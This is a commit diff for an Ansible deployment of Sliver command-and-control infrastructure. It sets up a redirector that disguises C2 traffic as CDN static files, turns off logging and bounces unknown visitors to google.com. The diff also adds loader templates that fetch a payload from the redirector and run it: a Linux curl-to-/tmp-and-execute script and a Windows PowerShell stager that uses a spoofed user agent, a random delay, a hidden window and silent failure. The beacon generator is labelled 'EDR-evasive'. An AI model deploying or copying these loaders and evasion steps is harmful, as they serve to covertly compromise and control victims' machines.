trying to fix it all

tasks/configure_c2.yml

@@ -82,17 +82,45 @@
     - ../files/secure-exit.sh
     - ../files/sliver_randomizer.sh
 
-- name: Create beacon generation script from template
+- name: Create main beacon generation script
   template:
     src: "../templates/generate_evasive_beacons.sh.j2"
     dest: "/opt/c2/generate_evasive_beacons.sh"
     mode: '0700'
     owner: root
     group: root
-  vars:
+
-    redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
+- name: Create Linux loader script template
-    domain: "{{ domain }}"
+  template:
-    redirector_port: "{{ redirector_port | default('443') }}"
+    src: "../templates/linux_loader.sh.j2" 
+    dest: "/opt/c2/linux_loader.template"
+    mode: '0644'
+    owner: root
+    group: root
+
+- name: Create Windows PowerShell loader template
+  template:
+    src: "../templates/windows_loader.ps1.j2"
+    dest: "/opt/c2/windows_loader.template"
+    mode: '0644'
+    owner: root
+    group: root
+
+- name: Create manifest template
+  template:
+    src: "../templates/manifest.json.j2"
+    dest: "/opt/c2/manifest.template"
+    mode: '0644'
+    owner: root
+    group: root
+
+- name: Create reference file template
+  template:
+    src: "../templates/reference.txt.j2"
+    dest: "/opt/c2/reference.template"
+    mode: '0644'
+    owner: root
+    group: root
 
 - name: Create beacon server script from template
   template:

tasks/configure_redirector.yml

@@ -1,5 +1,5 @@
 ---
-# Common task for configuring redirector
+# Common task for configuring redirector with full encryption
 # Shared across all providers
 
 - name: Install required packages for redirector
@@ -70,15 +70,36 @@
     group: root
   when: zero_logs | bool
 
-# Configure nginx sites with default values - no certificate
+# Configure nginx for dual HTTP/HTTPS with complete encryption
-- name: Configure NGINX site with HTTP (no SSL)
+- name: Configure NGINX for secure C2 redirection
-  copy:
+  template:
     content: |
+      # HTTP server - redirects all to HTTPS
       server {
           listen 80;
           listen [::]:80;
-          server_name cdn.{{ domain }};
+          server_name {{ redirector_subdomain }}.{{ domain }};
           
+          # Force redirect to HTTPS for all traffic
+          return 301 https://$host$request_uri;
+      }
+
+      # HTTPS server - handles both HTTP and MTLS C2 traffic
+      server {
+          listen 443 ssl;
+          listen [::]:443 ssl;
+          server_name {{ redirector_subdomain }}.{{ domain }};
+          
+          # SSL Configuration
+          ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
+          ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
+          ssl_protocols TLSv1.2 TLSv1.3;
+          ssl_prefer_server_ciphers on;
+          ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+          ssl_session_timeout 1d;
+          ssl_session_cache shared:SSL:10m;
+          
+          # Root directory
           root /var/www/html;
           index index.html;
           
@@ -87,8 +108,7 @@
               try_files $uri $uri/ =404;
           }
           
-          # Special URI patterns for C2 traffic
+          # HTTP C2 paths (still over HTTPS)
-          # These will redirect to the actual C2 server
           location /ajax/ {
               proxy_pass http://{{ c2_ip }}:8888;
               proxy_http_version 1.1;
@@ -99,7 +119,19 @@
               proxy_set_header Connection "upgrade";
           }
           
-          # Static resources that actually redirect to C2
+          # MTLS/TCP passthrough for direct Sliver communication
+          location /mtls/ {
+              proxy_pass https://{{ c2_ip }}:443;
+              proxy_http_version 1.1;
+              proxy_set_header Host $host;
+              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+              proxy_set_header X-Real-IP $remote_addr;
+              proxy_set_header Upgrade $http_upgrade;
+              proxy_set_header Connection "upgrade";
+              proxy_ssl_verify off;
+          }
+          
+          # Static resources that redirect to C2
           location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
               proxy_pass http://{{ c2_ip }}:8888;
               proxy_http_version 1.1;
@@ -108,19 +140,32 @@
               proxy_set_header X-Real-IP $remote_addr;
           }
           
-          # Additional security headers
+          # Security headers
           add_header X-Content-Type-Options "nosniff" always;
           add_header X-Frame-Options "SAMEORIGIN" always;
-          add_header X-XSS-Protection "1" mode=block;
+          add_header X-XSS-Protection "1; mode=block" always;
           add_header Referrer-Policy "no-referrer" always;
+          add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
+          
+          # Disable logging if zero-logs is enabled
+          {% if zero_logs | default(true) | bool %}
+          access_log off;
+          error_log /dev/null crit;
+          {% endif %}
       }
 
-      # Catch-all server block to respond to unknown hosts
+      # Catch-all server block
       server {
           listen 80 default_server;
           listen [::]:80 default_server;
+          listen 443 ssl default_server;
+          listen [::]:443 ssl default_server;
           
-          # Redirect all unknown traffic to a legitimate-looking site
+          # Self-signed cert for catch-all
+          ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
+          ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+          
+          # Redirect unknown traffic to a legitimate-looking site
           return 301 https://www.google.com;
           
           # Disable logs
@@ -133,76 +178,15 @@
     group: root
 
 - name: Create legitimate-looking index.html
-  copy:
+  template:
-    content: |
+    src: "../templates/redirector-index.html.j2"
-      <!DOCTYPE html>
-      <html lang="en">
-      <head>
-          <meta charset="UTF-8">
-          <meta name="viewport" content="width=device-width, initial-scale=1.0">
-          <title>CDN - Content Delivery Network</title>
-          <style>
-              body {
-                  font-family: Arial, sans-serif;
-                  margin: 0;
-                  padding: 0;
-                  background-color: #f4f4f4;
-                  color: #333;
-              }
-              header {
-                  background-color: #2c3e50;
-                  color: white;
-                  padding: 1em;
-                  text-align: center;
-              }
-              .container {
-                  width: 80%;
-                  margin: 0 auto;
-                  padding: 2em;
-              }
-              .card {
-                  background-color: white;
-                  border-radius: 5px;
-                  padding: 1.5em;
-                  margin-bottom: 1.5em;
-                  box-shadow: 0 2px 5px rgba(0,0,0,0.1);
-              }
-              footer {
-                  background-color: #2c3e50;
-                  color: white;
-                  text-align: center;
-                  padding: 1em;
-                  position: fixed;
-                  bottom: 0;
-                  width: 100%;
-              }
-          </style>
-      </head>
-      <body>
-          <header>
-              <h1>cdn.{{ domain }}</h1>
-              <p>Enterprise Content Delivery Network</p>
-          </header>
-          
-          <div class="container">
-              <div class="card">
-                  <h2>Welcome to Our CDN</h2>
-                  <p>This server is part of our global content delivery network.</p>
-              </div>
-          </div>
-          
-          <footer>
-              <p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
-          </footer>
-      </body>
-      </html>
     dest: /var/www/html/index.html
     mode: '0644'
     owner: www-data
     group: www-data
 
 - name: Create SSL certificate setup instructions
-  copy:
+  template:
     content: |
       #!/bin/bash
       # Let's Encrypt Certificate Setup Script
@@ -210,7 +194,7 @@
 
       # Replace these with your actual values if needed
       DOMAIN="{{ domain }}"
-      SUBDOMAIN="cdn"
+      SUBDOMAIN="{{ redirector_subdomain }}"
       EMAIL="admin@${DOMAIN}"
 
       echo "================================================"
@@ -231,6 +215,31 @@
     owner: root
     group: root
 
+# Add stream module configuration for pure TCP forwarding
+- name: Configure NGINX stream module for TCP traffic
+  template:
+    content: |
+      # TCP stream configuration for MTLS
+      stream {
+          # TCP forwarding for MTLS
+          server {
+              listen 31337;
+              proxy_pass {{ c2_ip }}:31337;
+          }
+          
+          # Additional C2 ports
+          server {
+              listen 50051;
+              proxy_pass {{ c2_ip }}:50051;
+          }
+      }
+    dest: /etc/nginx/modules-enabled/stream.conf
+    mode: '0644'
+    owner: root
+    group: root
+  notify:
+    - restart nginx
+
 - name: Start and enable shell handler service
   systemd:
     name: shell-handler

templates/generate_evasive_beacons.sh.j2

@@ -1,5 +1,5 @@
 #!/bin/bash
-# Corrected EDR-evasive beacon generator with templated redirector integration
+# Corrected EDR-evasive beacon generator with template files
 
 # Configuration (automatically populated by Ansible)
 BEACONS_DIR="/opt/beacons"
@@ -99,82 +99,45 @@ stager_win=$(random_output_name "windows")
 sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
 echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
 
-# Create a manifest file for the serve-beacons.sh script to use
+# Create manifest file from template
-cat > "$BEACONS_DIR/manifest.json" << EOF
+cp /opt/c2/manifest.template "$BEACONS_DIR/manifest.json"
-{
+sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
-  "windows_exe": "$win_output",
+sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
-  "windows_dll": "$dll_output",
+sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
-  "linux_binary": "$linux_output",
+sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
-  "macos_binary": "$mac_output",
+sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
-  "windows_stager": "staged/$stager_win",
+sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
-  "win_profile": "$win_profile",
+sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
-  "dll_profile": "$dll_profile",
+sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
-  "linux_profile": "$linux_profile",
+sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
-  "mac_profile": "$mac_profile",
+sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
-  "stager_profile": "$stager_profile",
+sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
-  "redirector_host": "$REDIRECTOR_HOST",
+sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
-  "redirector_port": "$REDIRECTOR_PORT",
+sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
-  "c2_host": "$C2_HOST",
+sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
-  "generated_date": "$(date)"
-}
-EOF
 
-# Create loader scripts with redirector integration
+# Create Linux loader from template
-cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX'
+cp /opt/c2/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
-#!/bin/bash
-# Loader script for Linux beacon
-curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
-chmod +x /tmp/linux_update
-/tmp/linux_update &
-EOFLINUX
-
-# Replace placeholder with actual redirector host
 sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
 chmod +x "$BEACONS_DIR/linux_loader.sh"
 
-# Create PowerShell stager with improved OPSEC
+# Create Windows PowerShell loader from template
-cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS'
+cp /opt/c2/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
-# Windows PowerShell Beacon Loader
-[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
-$ErrorActionPreference = "SilentlyContinue"
-$wc = New-Object System.Net.WebClient
-$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
-$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
-$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
-$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
-$outpath = "$env:TEMP\update-$(New-Guid).exe"
-try {
-    $wc.DownloadFile($url, $outpath)
-    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
-    Start-Process -WindowStyle Hidden -FilePath $outpath
-} catch {
-    # Fail silently
-}
-EOFPS
-
-# Replace placeholder with actual redirector host
 sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
 
-# Create index of generated files
+# Create reference file from template
-cat > "$BEACONS_DIR/reference.txt" << EOF
+cp /opt/c2/reference.template "$BEACONS_DIR/reference.txt"
-C2 Server Details:
+sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
-- C2 IP: $C2_HOST
+sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
-- Redirector Domain: $REDIRECTOR_HOST
+sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
-
+sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
-Beacons Generated ($(date)):
+sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
-- Windows EXE: $win_output (Profile: $win_profile)
+sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
-- Windows DLL: $dll_output (Profile: $dll_profile)
+sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
-- Linux Binary: $linux_output (Profile: $linux_profile)
+sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
-- macOS Binary: $mac_output (Profile: $mac_profile)
+sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
-- Windows Stager: staged/$stager_win (Profile: $stager_profile)
+sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
-
+sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
-Usage:
+sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
-1. Ensure your redirector is properly configured to forward requests to the C2 server
+sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
-2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
+sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt"
-3. Test connectivity before deployment in target environment
-
-IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
-EOF
-
-echo "[+] Beacon generation with redirector integration complete"
-echo "[+] Run serve-beacons.sh to start serving these Sliver beacons"

templates/linux_loader.sh.j2

@@ -0,0 +1,5 @@
+#!/bin/bash
+# Loader script for Linux beacon
+curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
+chmod +x /tmp/linux_update
+/tmp/linux_update &

templates/manifest.json.j2

@@ -0,0 +1,16 @@
+{
+  "windows_exe": "WINDOWS_EXE",
+  "windows_dll": "WINDOWS_DLL",
+  "linux_binary": "LINUX_BINARY",
+  "macos_binary": "MACOS_BINARY",
+  "windows_stager": "WINDOWS_STAGER",
+  "win_profile": "WIN_PROFILE",
+  "dll_profile": "DLL_PROFILE",
+  "linux_profile": "LINUX_PROFILE",
+  "mac_profile": "MAC_PROFILE",
+  "stager_profile": "STAGER_PROFILE",
+  "redirector_host": "REDIRECTOR_HOST",
+  "redirector_port": "REDIRECTOR_PORT",
+  "c2_host": "C2_HOST",
+  "generated_date": "GENERATED_DATE"
+}

templates/reference.txt.j2

@@ -0,0 +1,17 @@
+C2 Server Details:
+- C2 IP: C2_HOST
+- Redirector Domain: REDIRECTOR_HOST
+
+Beacons Generated (GENERATED_DATE):
+- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE)
+- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE)
+- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE)
+- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE)
+- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE)
+
+Usage:
+1. Ensure your redirector is properly configured to forward requests to the C2 server
+2. Update DNS for REDIRECTOR_HOST to point to your redirector IP
+3. Test connectivity before deployment in target environment
+
+IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT

templates/windows_loader.ps1.j2

@@ -0,0 +1,16 @@
+# Windows PowerShell Beacon Loader
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+$ErrorActionPreference = "SilentlyContinue"
+$wc = New-Object System.Net.WebClient
+$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
+$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
+$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
+$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
+$outpath = "$env:TEMP\update-$(New-Guid).exe"
+try {
+    $wc.DownloadFile($url, $outpath)
+    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
+    Start-Process -WindowStyle Hidden -FilePath $outpath
+} catch {
+    # Fail silently
+}